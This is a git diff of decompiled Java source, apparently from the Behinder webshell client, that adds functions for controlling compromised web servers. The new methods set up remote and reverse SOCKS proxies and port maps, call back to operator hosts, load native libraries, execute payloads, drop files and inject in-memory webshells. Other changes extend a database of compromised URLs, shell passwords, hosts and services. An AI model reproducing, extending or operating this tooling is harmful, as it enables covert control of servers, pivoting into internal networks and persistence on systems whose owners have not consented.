Map result = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
Map resHeader = (Map)result.get("header");
- byte[] resData = (byte[])result.get("data");
+ byte[] resData = (byte[])((byte[])result.get("data"));
+ if (((String)resHeader.get("status")).equals("200")) {
+ if (resData != null && resData.length >= 4 && resData[0] == 56 && resData[1] == 33 && resData[2] == 73 && resData[3] == 55) {
+ resData = Arrays.copyOfRange(resData, 4, resData.length);
+ throw new Exception(new String(resData));
+ } else {
+ return true;
+ }
+ } else {
+ return false;
+ }
+ }
+
+ public boolean createVPSSocks(String remoteIP, String remotePort) throws Exception {
+ Map params = new LinkedHashMap();
+ params.put("action", "create");
+ params.put("remoteIP", remoteIP);
+ params.put("remotePort", remotePort);
+ byte[] data = Utils.getData(this.currentKey, this.encryptType, "RemoteSocksProxy", params, this.currentType);
+ Map result = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
+ Map resHeader = (Map)result.get("header");
+ byte[] resData = (byte[])((byte[])result.get("data"));
if (((String)resHeader.get("status")).equals("200")) {
- if (resData != null && resData.length >= 4 && resData[0] == 55 && resData[1] == 33 && resData[2] == 73 && resData[3] == 54) {
+ if (resData != null && resData.length >= 4 && resData[0] == 56 && resData[1] == 33 && resData[2] == 73 && resData[3] == 55) {
resData = Arrays.copyOfRange(resData, 4, resData.length);
throw new Exception(new String(resData));
} else {
@@ -814,6 +880,24 @@ public boolean createRemoteSocks(String targetIP, String targetPort, String remo
}
}
+ public JSONObject stopVPSSocks() throws Exception {
+ Map params = new LinkedHashMap();
+ params.put("action", "stop");
+ byte[] data = Utils.getData(this.currentKey, this.encryptType, "RemoteSocksProxy", params, this.currentType);
+ Map resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
+ byte[] resData = (byte[])((byte[])resultObj.get("data"));
+ String resultTxt = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
+ JSONObject result = new JSONObject(resultTxt);
+ Iterator var7 = result.keySet().iterator();
+
+ while(var7.hasNext()) {
+ String key = (String)var7.next();
+ result.put(key, (Object)(new String(Base64.decode(result.getString(key)), "UTF-8")));
+ }
+
+ return result;
+ }
+
public boolean createPortMap(String targetIP, String targetPort, String socketHash) throws Exception {
Map params = new LinkedHashMap();
params.put("action", "createLocal");
@@ -823,9 +907,9 @@ public boolean createPortMap(String targetIP, String targetPort, String socketHa
byte[] data = Utils.getData(this.currentKey, this.encryptType, "PortMap", params, this.currentType);
Map result = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
Map resHeader = (Map)result.get("header");
- byte[] resData = (byte[])result.get("data");
+ byte[] resData = (byte[])((byte[])result.get("data"));
if (((String)resHeader.get("status")).equals("200")) {
- if (resData != null && resData.length >= 4 && resData[0] == 55 && resData[1] == 33 && resData[2] == 73 && resData[3] == 54) {
+ if (resData != null && resData.length >= 4 && resData[0] == 56 && resData[1] == 33 && resData[2] == 73 && resData[3] == 55) {
resData = Arrays.copyOfRange(resData, 4, resData.length);
throw new Exception(new String(resData));
} else {
@@ -850,7 +934,7 @@ public byte[] readPortMapData(String targetIP, String targetPort, String socketH
result = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
} catch (Exception var10) {
byte[] exceptionByte = var10.getMessage().getBytes();
- if (exceptionByte[0] == 55 && exceptionByte[1] == 33 && exceptionByte[2] == 73 && exceptionByte[3] == 54) {
+ if (exceptionByte[0] == 56 && exceptionByte[1] == 33 && exceptionByte[2] == 73 && exceptionByte[3] == 55) {
resData = Arrays.copyOfRange(exceptionByte, 4, exceptionByte.length);
throw new Exception(new String(resData, "UTF-8"));
}
@@ -860,8 +944,8 @@ public byte[] readPortMapData(String targetIP, String targetPort, String socketH
Map resHeader = (Map)result.get("header");
if (((String)resHeader.get("status")).equals("200")) {
- resData = (byte[])result.get("data");
- if (resData != null && resData.length >= 4 && resData[0] == 55 && resData[1] == 33 && resData[2] == 73 && resData[3] == 54) {
+ resData = (byte[])((byte[])result.get("data"));
+ if (resData != null && resData.length >= 4 && resData[0] == 56 && resData[1] == 33 && resData[2] == 73 && resData[3] == 55) {
return null;
}
@@ -894,9 +978,9 @@ public boolean writePortMapData(byte[] proxyData, String targetIP, String target
byte[] data = Utils.getData(this.currentKey, this.encryptType, "PortMap", params, this.currentType);
Map result = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
Map resHeader = (Map)result.get("header");
- byte[] resData = (byte[])result.get("data");
+ byte[] resData = (byte[])((byte[])result.get("data"));
if (((String)resHeader.get("status")).equals("200")) {
- if (resData != null && resData.length >= 4 && resData[0] == 55 && resData[1] == 33 && resData[2] == 73 && resData[3] == 54) {
+ if (resData != null && resData.length >= 4 && resData[0] == 56 && resData[1] == 33 && resData[2] == 73 && resData[3] == 55) {
resData = Arrays.copyOfRange(resData, 4, resData.length);
return false;
} else {
@@ -942,7 +1026,7 @@ public byte[] readProxyData(String socketHash) throws Exception {
result = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
} catch (Exception var8) {
byte[] exceptionByte = var8.getMessage().getBytes();
- if (exceptionByte[0] == 55 && exceptionByte[1] == 33 && exceptionByte[2] == 73 && exceptionByte[3] == 54) {
+ if (exceptionByte[0] == 56 && exceptionByte[1] == 33 && exceptionByte[2] == 73 && exceptionByte[3] == 55) {
return null;
}
@@ -951,8 +1035,8 @@ public byte[] readProxyData(String socketHash) throws Exception {
Map resHeader = (Map)result.get("header");
if (((String)resHeader.get("status")).equals("200")) {
- resData = (byte[])result.get("data");
- if (resData != null && resData.length >= 4 && resData[0] == 55 && resData[1] == 33 && resData[2] == 73 && resData[3] == 54) {
+ resData = (byte[])((byte[])result.get("data"));
+ if (resData != null && resData.length >= 4 && resData[0] == 56 && resData[1] == 33 && resData[2] == 73 && resData[3] == 55) {
resData = null;
} else {
if (resHeader.containsKey("server") && ((String)resHeader.get("server")).indexOf("Apache-Coyote/1.1") > 0) {
@@ -980,9 +1064,9 @@ public boolean writeProxyData(byte[] proxyData, String socketHash) throws Except
byte[] data = Utils.getData(this.currentKey, this.encryptType, "SocksProxy", params, this.currentType);
Map result = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
Map resHeader = (Map)result.get("header");
- byte[] resData = (byte[])result.get("data");
+ byte[] resData = (byte[])((byte[])result.get("data"));
if (((String)resHeader.get("status")).equals("200")) {
- if (resData != null && resData.length >= 4 && resData[0] == 55 && resData[1] == 33 && resData[2] == 73 && resData[3] == 54) {
+ if (resData != null && resData.length >= 4 && resData[0] == 56 && resData[1] == 33 && resData[2] == 73 && resData[3] == 55) {
resData = Arrays.copyOfRange(resData, 4, resData.length);
return false;
} else {
@@ -1011,9 +1095,9 @@ public boolean openProxy(String destHost, String destPort, String socketHash) th
byte[] data = Utils.getData(this.currentKey, this.encryptType, "SocksProxy", params, this.currentType);
Map result = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
Map resHeader = (Map)result.get("header");
- byte[] resData = (byte[])result.get("data");
+ byte[] resData = (byte[])((byte[])result.get("data"));
if (((String)resHeader.get("status")).equals("200")) {
- if (resData != null && resData.length >= 4 && resData[0] == 55 && resData[1] == 33 && resData[2] == 73 && resData[3] == 54) {
+ if (resData != null && resData.length >= 4 && resData[0] == 56 && resData[1] == 33 && resData[2] == 73 && resData[3] == 55) {
resData = Arrays.copyOfRange(resData, 4, resData.length);
return false;
} else {
@@ -1042,7 +1126,7 @@ public JSONObject echo(String content) throws Exception {
String localResultTxt = "{\"status\":\"c3VjY2Vzcw==\",\"msg\":\"" + new String(java.util.Base64.getEncoder().encode(content.getBytes())) + "\"}";
byte[] localResult = Crypt.Encrypt(localResultTxt.getBytes(), this.currentKey, this.currentType, this.encryptType);
- byte[] resData = (byte[])resultObj.get("data");
+ byte[] resData = (byte[])((byte[])resultObj.get("data"));
new String(resData);
this.beginIndex = Utils.matchData(resData, localResult);
if (this.beginIndex < 0) {
@@ -1071,19 +1155,18 @@ public String getBasicInfo(String whatever) throws Exception {
params.put("whatever", whatever);
byte[] data = Utils.getData(this.currentKey, this.encryptType, "BasicInfo", params, this.currentType);
Map resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
- byte[] resData = (byte[])resultObj.get("data");
+ byte[] resData = (byte[])((byte[])resultObj.get("data"));
try {
result = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
return result;
} catch (Exception var8) {
- var8.printStackTrace();
throw new Exception("请求失败:" + new String(resData, "UTF-8"));
}
}
private void showErrorMessage(String title, String msg) {
- Alert alert = new Alert(Alert.AlertType.ERROR);
+ Alert alert = new Alert(AlertType.ERROR);
Window window = alert.getDialogPane().getScene().getWindow();
window.setOnCloseRequest((event) -> {
window.hide();
@@ -1108,7 +1191,7 @@ public void keepAlive() throws Exception {
Platform.runLater(() -> {
this.showErrorMessage("提示", "由于您长时间未操作,当前连接会话已超时,请重新打开该网站。");
});
- var2.printStackTrace();
+ return;
}
}
}
@@ -1120,13 +1203,281 @@ public JSONObject connectBack(String type, String ip, String port) throws Except
params.put("port", port);
byte[] data = Utils.getData(this.currentKey, this.encryptType, "ConnectBack", params, this.currentType);
Map resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
- byte[] resData = (byte[])resultObj.get("data");
+ byte[] resData = (byte[])((byte[])resultObj.get("data"));
+ String resultTxt = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
+
+ try {
+ JSONObject result = new JSONObject(resultTxt);
+ Iterator var10 = result.keySet().iterator();
+
+ while(var10.hasNext()) {
+ String key = (String)var10.next();
+ result.put(key, (Object)(new String(Base64.decode(result.getString(key)), "UTF-8")));
+ }
+
+ return result;
+ } catch (Exception var12) {
+ throw new Exception(resultTxt);
+ }
+ }
+
+ public JSONObject loadNativeLibrary(String fileContent) throws Exception {
+ Map params = new LinkedHashMap();
+ params.put("action", "load");
+ params.put("whatever", Utils.getWhatever());
+ params.put("fileContent", fileContent);
+ byte[] data = Utils.getData(this.currentKey, this.encryptType, "loadNativeLibrary", params, this.currentType);
+ Map resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
+ byte[] resData = (byte[])((byte[])resultObj.get("data"));
String resultTxt = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
JSONObject result = new JSONObject(resultTxt);
- Iterator var10 = result.keySet().iterator();
+ Iterator var8 = result.keySet().iterator();
- while(var10.hasNext()) {
- String key = (String)var10.next();
+ while(var8.hasNext()) {
+ String key = (String)var8.next();
+ result.put(key, (Object)(new String(Base64.decode(result.getString(key)), "UTF-8")));
+ }
+
+ return result;
+ }
+
+ public JSONObject executePayload(String payload) throws Exception {
+ Map params = new LinkedHashMap();
+ params.put("action", "execute");
+ params.put("whatever", Utils.getWhatever());
+ params.put("payload", payload);
+ byte[] data = Utils.getData(this.currentKey, this.encryptType, "loadNativeLibrary", params, this.currentType);
+ Map resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
+ byte[] resData = (byte[])((byte[])resultObj.get("data"));
+ String resultTxt = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
+ JSONObject result = new JSONObject(resultTxt);
+ Iterator var8 = result.keySet().iterator();
+
+ while(var8.hasNext()) {
+ String key = (String)var8.next();
+ result.put(key, (Object)(new String(Base64.decode(result.getString(key)), "UTF-8")));
+ }
+
+ return result;
+ }
+
+ public JSONObject loadLibraryAndexecutePayload(String fileContent, String payload) throws Exception {
+ Map params = new LinkedHashMap();
+ params.put("action", "execute");
+ params.put("whatever", Utils.getWhatever());
+ params.put("fileContent", fileContent);
+ params.put("payload", payload);
+ byte[] data = Utils.getData(this.currentKey, this.encryptType, "loadNativeLibrary", params, this.currentType);
+ Map resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
+ byte[] resData = (byte[])((byte[])resultObj.get("data"));
+ String resultTxt = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
+ JSONObject result = new JSONObject(resultTxt);
+ Iterator var9 = result.keySet().iterator();
+
+ while(var9.hasNext()) {
+ String key = (String)var9.next();
+ result.put(key, (Object)(new String(Base64.decode(result.getString(key)), "UTF-8")));
+ }
+
+ return result;
+ }
+
+ public JSONObject loadLibraryAndfreeFile(String fileContent, String filePath) throws Exception {
+ Map params = new LinkedHashMap();
+ params.put("action", "freeFile");
+ params.put("whatever", Utils.getWhatever());
+ params.put("fileContent", fileContent);
+ params.put("filePath", filePath);
+ byte[] data = Utils.getData(this.currentKey, this.encryptType, "loadNativeLibrary", params, this.currentType);
+ Map resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
+ byte[] resData = (byte[])((byte[])resultObj.get("data"));
+ String resultTxt = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
+ JSONObject result = new JSONObject(resultTxt);
+ Iterator var9 = result.keySet().iterator();
+
+ while(var9.hasNext()) {
+ String key = (String)var9.next();
+ result.put(key, (Object)(new String(Base64.decode(result.getString(key)), "UTF-8")));
+ }
+
+ return result;
+ }
+
+ public JSONObject loadLibraryAndtest() throws Exception {
+ Map params = new LinkedHashMap();
+ params.put("action", "test");
+ params.put("whatever", Utils.getWhatever());
+ byte[] data = Utils.getData(this.currentKey, this.encryptType, "loadNativeLibrary", params, this.currentType);
+ Map resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
+ byte[] resData = (byte[])((byte[])resultObj.get("data"));
+ String resultTxt = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
+ JSONObject result = new JSONObject(resultTxt);
+ Iterator var7 = result.keySet().iterator();
+
+ while(var7.hasNext()) {
+ String key = (String)var7.next();
+ result.put(key, (Object)(new String(Base64.decode(result.getString(key)), "UTF-8")));
+ }
+
+ return result;
+ }
+
+ public JSONObject injectMemShell(String type, String libPath, String path, String password) throws Exception {
+ Map params = new LinkedHashMap();
+ params.put("type", type);
+ params.put("libPath", libPath);
+ params.put("path", path);
+ params.put("password", password);
+ byte[] data = Utils.getData(this.currentKey, this.encryptType, "MemShell", params, this.currentType);
+ Map resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
+ byte[] resData = (byte[])((byte[])resultObj.get("data"));
+ String resultTxt = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
+ JSONObject result = new JSONObject(resultTxt);
+ Iterator var11 = result.keySet().iterator();
+
+ while(var11.hasNext()) {
+ String key = (String)var11.next();
+ result.put(key, (Object)(new String(Base64.decode(result.getString(key)), "UTF-8")));
+ }
+
+ return result;
+ }
+
+ public JSONObject createReversePortMap(String listenPort) throws Exception {
+ Map params = new LinkedHashMap();
+ params.put("action", "create");
+ params.put("listenPort", listenPort);
+ byte[] data = Utils.getData(this.currentKey, this.encryptType, "ReversePortMap", params, this.currentType);
+ Map resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
+ byte[] resData = (byte[])((byte[])resultObj.get("data"));
+ String resultTxt = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
+
+ try {
+ JSONObject result = new JSONObject(resultTxt);
+ Iterator var8 = result.keySet().iterator();
+
+ while(var8.hasNext()) {
+ String key = (String)var8.next();
+ result.put(key, (Object)(new String(Base64.decode(result.getString(key)), "UTF-8")));
+ }
+
+ return result;
+ } catch (Exception var10) {
+ throw new Exception(resultTxt);
+ }
+ }
+
+ public byte[] readReversePortMapData(String socketHash) throws Exception {
+ byte[] resData = null;
+ Map params = new LinkedHashMap();
+ params.put("action", "read");
+ params.put("socketHash", socketHash);
+ byte[] data = Utils.getData(this.currentKey, this.encryptType, "ReversePortMap", params, this.currentType);
+ Map result = null;
+
+ try {
+ result = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
+ } catch (Exception var8) {
+ byte[] exceptionByte = var8.getMessage().getBytes();
+ if (exceptionByte[0] == 56 && exceptionByte[1] == 33 && exceptionByte[2] == 73 && exceptionByte[3] == 55) {
+ return null;
+ }
+
+ throw var8;
+ }
+
+ Map resHeader = (Map)result.get("header");
+ if (((String)resHeader.get("status")).equals("200")) {
+ resData = (byte[])((byte[])result.get("data"));
+ if (resData != null && resData.length >= 4 && resData[0] == 56 && resData[1] == 33 && resData[2] == 73 && resData[3] == 55) {
+ resData = null;
+ } else {
+ if (resHeader.containsKey("server") && ((String)resHeader.get("server")).indexOf("Apache-Coyote/1.1") > 0) {
+ resData = Arrays.copyOfRange(resData, 0, resData.length - 1);
+ }
+
+ if (resData == null) {
+ resData = new byte[0];
+ }
+ }
+ } else {
+ resData = null;
+ }
+
+ return resData;
+ }
+
+ public boolean writeReversePortMapData(byte[] proxyData, String socketHash) throws Exception {
+ Map params = new LinkedHashMap();
+ params.put("action", "write");
+ params.put("socketHash", socketHash);
+ params.put("extraData", Base64.encode(proxyData));
+ byte[] data = Utils.getData(this.currentKey, this.encryptType, "ReversePortMap", params, this.currentType);
+ Map result = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
+ Map resHeader = (Map)result.get("header");
+ byte[] resData = (byte[])((byte[])result.get("data"));
+ if (((String)resHeader.get("status")).equals("200")) {
+ if (resData != null && resData.length >= 4 && resData[0] == 56 && resData[1] == 33 && resData[2] == 73 && resData[3] == 55) {
+ resData = Arrays.copyOfRange(resData, 4, resData.length);
+ return false;
+ } else {
+ return true;
+ }
+ } else {
+ return false;
+ }
+ }
+
+ public JSONObject listReversePortMap() throws Exception {
+ Map params = new LinkedHashMap();
+ params.put("action", "list");
+ byte[] data = Utils.getData(this.currentKey, this.encryptType, "ReversePortMap", params, this.currentType);
+ Map resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
+ byte[] resData = (byte[])((byte[])resultObj.get("data"));
+ String resultTxt = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
+ JSONObject result = new JSONObject(resultTxt);
+ Iterator var7 = result.keySet().iterator();
+
+ while(var7.hasNext()) {
+ String key = (String)var7.next();
+ result.put(key, (Object)(new String(Base64.decode(result.getString(key)), "UTF-8")));
+ }
+
+ return result;
+ }
+
+ public JSONObject stopReversePortMap(String listenPort) throws Exception {
+ Map params = new LinkedHashMap();
+ params.put("action", "stop");
+ params.put("listenPort", listenPort);
+ byte[] data = Utils.getData(this.currentKey, this.encryptType, "ReversePortMap", params, this.currentType);
+ Map resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
+ byte[] resData = (byte[])((byte[])resultObj.get("data"));
+ String resultTxt = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
+ JSONObject result = new JSONObject(resultTxt);
+ Iterator var8 = result.keySet().iterator();
+
+ while(var8.hasNext()) {
+ String key = (String)var8.next();
+ result.put(key, (Object)(new String(Base64.decode(result.getString(key)), "UTF-8")));
+ }
+
+ return result;
+ }
+
+ public JSONObject closeReversePortMap(String socketHash) throws Exception {
+ Map params = new LinkedHashMap();
+ params.put("action", "close");
+ params.put("socketHash", socketHash);
+ byte[] data = Utils.getData(this.currentKey, this.encryptType, "ReversePortMap", params, this.currentType);
+ Map resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
+ byte[] resData = (byte[])((byte[])resultObj.get("data"));
+ String resultTxt = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
+ JSONObject result = new JSONObject(resultTxt);
+ Iterator var8 = result.keySet().iterator();
+
+ while(var8.hasNext()) {
+ String key = (String)var8.next();
result.put(key, (Object)(new String(Base64.decode(result.getString(key)), "UTF-8")));
}
diff --git a/src/main/java/net/rebeyond/behinder/dao/ShellManager.java b/src/main/java/net/rebeyond/behinder/dao/ShellManager.java
index 5aea172..eb299f9 100644
--- a/src/main/java/net/rebeyond/behinder/dao/ShellManager.java
+++ b/src/main/java/net/rebeyond/behinder/dao/ShellManager.java
@@ -19,7 +19,7 @@ public class ShellManager {
private static final String Class_Name = "org.sqlite.JDBC";
private static String DB_PATH = "data.db";
private static String DB_URL;
- private static Connection connection;
+ private Connection connection = null;
public ShellManager() throws Exception {
DB_PATH = URLDecoder.decode(Utils.getSelfPath(), "UTF-8") + File.separator + DB_PATH;
@@ -28,25 +28,36 @@ public ShellManager() throws Exception {
throw new Exception("数据库文件丢失,无法启动。");
} else {
Class.forName("org.sqlite.JDBC");
- connection = DriverManager.getConnection(DB_URL);
- connection.setAutoCommit(true);
+ this.connection = DriverManager.getConnection(DB_URL);
+ this.connection.setAutoCommit(true);
+ }
+ }
+
+ public ShellManager(String dbPath) throws Exception {
+ DB_PATH = dbPath;
+ DB_URL = "jdbc:sqlite:" + DB_PATH;
+ if (!(new File(DB_PATH)).exists()) {
+ throw new Exception("数据库文件丢失,无法启动。");
+ } else {
+ Class.forName("org.sqlite.JDBC");
+ this.connection = DriverManager.getConnection(DB_URL);
+ this.connection.setAutoCommit(true);
}
}
public void closeConnection() {
try {
- if (connection != null && !connection.isClosed()) {
- connection.close();
+ if (this.connection != null && !this.connection.isClosed()) {
+ this.connection.close();
}
} catch (Exception var2) {
- var2.printStackTrace();
}
}
public JSONArray listShell() throws Exception {
JSONArray result = new JSONArray();
- Statement statement = connection.createStatement();
+ Statement statement = this.connection.createStatement();
ResultSet rs = statement.executeQuery("select * from shells");
ResultSetMetaData rsmd = rs.getMetaData();
@@ -62,12 +73,13 @@ public JSONArray listShell() throws Exception {
result.put((Object)obj);
}
+ statement.close();
return result;
}
public JSONArray findShellByCatagory(String catagoryName) throws Exception {
JSONArray result = new JSONArray();
- PreparedStatement statement = connection.prepareStatement("select * from shells where catagory=?");
+ PreparedStatement statement = this.connection.prepareStatement("select * from shells where catagory=?");
statement.setString(1, catagoryName);
ResultSet rs = statement.executeQuery();
ResultSetMetaData rsmd = rs.getMetaData();
@@ -84,12 +96,36 @@ public JSONArray findShellByCatagory(String catagoryName) throws Exception {
result.put((Object)obj);
}
+ statement.close();
+ return result;
+ }
+
+ public JSONArray findShellByUrl(String url) throws Exception {
+ JSONArray result = new JSONArray();
+ PreparedStatement statement = this.connection.prepareStatement("select * from shells where url like ?");
+ statement.setString(1, "%" + url + "%");
+ ResultSet rs = statement.executeQuery();
+ ResultSetMetaData rsmd = rs.getMetaData();
+
+ while(rs.next()) {
+ int numColumns = rsmd.getColumnCount();
+ JSONObject obj = new JSONObject();
+
+ for(int i = 1; i <= numColumns; ++i) {
+ String column_name = rsmd.getColumnName(i);
+ obj.put(column_name, rs.getObject(column_name));
+ }
+
+ result.put((Object)obj);
+ }
+
+ statement.close();
return result;
}
public JSONArray listCatagory() throws Exception {
JSONArray result = new JSONArray();
- Statement statement = connection.createStatement();
+ Statement statement = this.connection.createStatement();
ResultSet rs = statement.executeQuery("select * from catagory");
ResultSetMetaData rsmd = rs.getMetaData();
@@ -105,12 +141,13 @@ public JSONArray listCatagory() throws Exception {
result.put((Object)obj);
}
+ statement.close();
return result;
}
public JSONObject findShell(int shellID) throws Exception {
JSONArray result = new JSONArray();
- PreparedStatement statement = connection.prepareStatement("select * from shells where id=?");
+ PreparedStatement statement = this.connection.prepareStatement("select * from shells where id=?");
statement.setInt(1, shellID);
ResultSet rs = statement.executeQuery();
ResultSetMetaData rsmd = rs.getMetaData();
@@ -127,12 +164,13 @@ public JSONObject findShell(int shellID) throws Exception {
result.put((Object)obj);
}
+ statement.close();
return result.length() == 0 ? null : result.getJSONObject(0);
}
public JSONObject findHostByIP(int shellID, String ip) throws Exception {
JSONArray result = new JSONArray();
- PreparedStatement statement = connection.prepareStatement("select * from hosts where shellid=? and ip=?");
+ PreparedStatement statement = this.connection.prepareStatement("select * from hosts where shellid=? and ip=?");
statement.setInt(1, shellID);
statement.setString(2, ip);
ResultSet rs = statement.executeQuery();
@@ -150,90 +188,115 @@ public JSONObject findHostByIP(int shellID, String ip) throws Exception {
result.put((Object)obj);
}
+ statement.close();
return result.length() == 0 ? null : result.getJSONObject(0);
}
- public int addShell(String url, String password, String type, String catagory, String comment, String headers) throws Exception {
- PreparedStatement statement = connection.prepareStatement("select count(*) from shells where url=?");
+ public int addShell(String url, String password, String type, String catagory, String os, String comment, String headers, int status, int memType) throws Exception {
+ PreparedStatement statement = this.connection.prepareStatement("select count(*) from shells where url=?");
statement.setString(1, url);
int num = statement.executeQuery().getInt(1);
+ statement.close();
if (num > 0) {
throw new Exception("该URL已存在");
} else {
- statement = connection.prepareStatement("insert into shells(url,ip,password,type,catagory,os,comment,headers,addtime,updatetime,accesstime) values (?,?,?,?,?,?,?,?,?,?,?)");
+ statement = this.connection.prepareStatement("insert into shells(url,ip,password,type,catagory,os,comment,headers,addtime,updatetime,accesstime,status,memType) values (?,?,?,?,?,?,?,?,?,?,?,?,?)");
statement.setString(1, url);
statement.setString(2, InetAddress.getByName((new URL(url)).getHost()).getHostAddress());
statement.setString(3, password);
statement.setString(4, type);
statement.setString(5, catagory);
- statement.setString(6, "");
+ statement.setString(6, os);
statement.setString(7, comment);
statement.setString(8, headers);
Timestamp now = new Timestamp(System.currentTimeMillis());
statement.setTimestamp(9, now);
statement.setTimestamp(10, now);
statement.setTimestamp(11, now);
- return statement.executeUpdate();
+ statement.setInt(12, status);
+ statement.setInt(13, memType);
+ num = statement.executeUpdate();
+ statement.close();
+ return num;
}
}
+ public int setShellStatus(int shellID, int status) throws Exception {
+ PreparedStatement statement = this.connection.prepareStatement("update shells set status=? where id=?");
+ statement.setInt(1, status);
+ statement.setInt(2, shellID);
+ int num = statement.executeUpdate();
+ statement.close();
+ return num;
+ }
+
public int addCatagory(String name, String comment) throws Exception {
- PreparedStatement statement = connection.prepareStatement("select count(*) from catagory where name=?");
+ PreparedStatement statement = this.connection.prepareStatement("select count(*) from catagory where name=?");
statement.setString(1, name);
int num = statement.executeQuery().getInt(1);
+ statement.close();
if (num > 0) {
throw new Exception("该分类已存在");
} else {
- statement = connection.prepareStatement("insert into catagory(name,comment) values (?,?)");
+ statement = this.connection.prepareStatement("insert into catagory(name,comment) values (?,?)");
statement.setString(1, name);
- return statement.executeUpdate();
+ num = statement.executeUpdate();
+ statement.close();
+ return num;
}
}
public int addHost(int shellID, String ip, String os, String comment) throws Exception {
- PreparedStatement statement = connection.prepareStatement("select count(*) from hosts where shellid=? and ip=?");
+ PreparedStatement statement = this.connection.prepareStatement("select count(*) from hosts where shellid=? and ip=?");
statement.setInt(1, shellID);
statement.setString(2, ip);
int num = statement.executeQuery().getInt(1);
+ statement.close();
if (num > 0) {
throw new Exception("该资产已存在");
} else {
- statement = connection.prepareStatement("insert into hosts(shellID,ip,os,comment) values (?,?,?,?)");
+ statement = this.connection.prepareStatement("insert into hosts(shellID,ip,os,comment) values (?,?,?,?)");
statement.setInt(1, shellID);
statement.setString(2, ip);
statement.setString(3, os);
statement.setString(4, comment);
- return statement.executeUpdate();
+ num = statement.executeUpdate();
+ statement.close();
+ return num;
}
}
public int addService(int hostID, String port, String name, String banner, String comment) throws Exception {
- PreparedStatement statement = connection.prepareStatement("select count(*) from services where hostid=? and port=?");
+ PreparedStatement statement = this.connection.prepareStatement("select count(*) from services where hostid=? and port=?");
statement.setInt(1, hostID);
statement.setString(2, port);
int num = statement.executeQuery().getInt(1);
+ statement.close();
if (num > 0) {
throw new Exception("该端口已存在");
} else {
- statement = connection.prepareStatement("insert into services(hostid,name,port,banner,comment) values (?,?,?,?)");
+ statement = this.connection.prepareStatement("insert into services(hostid,name,port,banner,comment) values (?,?,?,?)");
statement.setInt(1, hostID);
statement.setString(2, name);
statement.setString(3, port);
statement.setString(4, banner);
statement.setString(5, comment);
- return statement.executeUpdate();
+ num = statement.executeUpdate();
+ statement.close();
+ return num;
}
}
public int addPlugin(String name, String version, String entryFile, String scriptType, String type, int isGetShell, String icon, String author, String link, String qrcode, String comment) throws Exception {
- PreparedStatement statement = connection.prepareStatement("select count(*) from plugins where name=? and scripttype=?");
+ PreparedStatement statement = this.connection.prepareStatement("select count(*) from plugins where name=? and scripttype=?");
statement.setString(1, name);
statement.setString(2, scriptType);
int num = statement.executeQuery().getInt(1);
+ statement.close();
if (num > 0) {
throw new Exception("该插件已存在");
} else {
- statement = connection.prepareStatement("insert into plugins(name,version,entryFile,scriptType,type,isGetShell,icon,author,link,qrcode,comment) values (?,?,?,?,?,?,?,?,?,?,?)");
+ statement = this.connection.prepareStatement("insert into plugins(name,version,entryFile,scriptType,type,isGetShell,icon,author,link,qrcode,comment) values (?,?,?,?,?,?,?,?,?,?,?)");
statement.setString(1, name);
statement.setString(2, version);
statement.setString(3, entryFile);
@@ -245,12 +308,14 @@ public int addPlugin(String name, String version, String entryFile, String scrip
statement.setString(9, link);
statement.setString(10, qrcode);
statement.setString(11, comment);
- return statement.executeUpdate();
+ num = statement.executeUpdate();
+ statement.close();
+ return num;
}
}
public int updateShell(int shellID, String url, String password, String type, String catagory, String comment, String headers) throws Exception {
- PreparedStatement statement = connection.prepareStatement("update shells set url=?,ip=?,password=?,type=?,catagory=?,comment=?,headers=?,updatetime=? where id=?");
